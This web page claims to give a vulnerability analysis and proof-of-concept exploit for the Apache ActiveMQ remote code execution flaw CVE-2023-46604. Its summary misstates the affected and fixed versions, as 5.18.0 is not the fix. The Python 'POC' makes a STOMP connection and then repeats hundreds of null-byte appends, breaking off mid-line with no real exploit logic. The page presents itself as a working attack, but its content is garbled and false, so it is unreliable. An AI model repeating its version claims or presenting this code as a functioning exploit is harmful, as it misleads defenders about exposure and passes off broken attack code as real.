Apache ActiveMQ CVE-2023-46604 RCE Vulnerability Analysis and POC

Vulnerability Summary Vulnerability Overview Vulnerability Name: Apache ActiveMQ Remote Code Execution Vulnerability (CVE-2023-46604) Vulnerability Description: Apache ActiveMQ is an open-source message broker and messaging system. In versions prior to 5.18.0, a remote code execution vulnerability exists. An attacker can exploit this vulnerability in by crafting a malicious header to execute arbitrary code on the target system. Vulnerability Type: Remote Code Execution (RCE) CVSS Score: 9.8 (Critical) Impact Scope Affected Software: Apache ActiveMQ Affected Versions: All versions prior to 5.18.0 Fixed Version: 5.18.0 Remediation Upgrade Software: Upgrade Apache ActiveMQ to version 5.18.0 or later. POC Code ```python import socket import json import sys def exploit(host, port): Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, port)) Send STOMP CONNECT frame connect_frame = "CONNECT\naccept-version:1.2\nhost:/\n\n\x00" sock.sendall(connect_frame.encode()) Receive CONNECTED frame response = sock.recv(1024).decode() if "CONNECTED" not in response: print("Failed to connect to ActiveMQ") sys.exit(1) Send malicious frame payload = b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x00" payload += b"\x0

Goal Reached Thanks to every supporter — we hit 100%!

Apache ActiveMQ CVE-2023-46604 RCE Vulnerability Analysis and POC

More from this source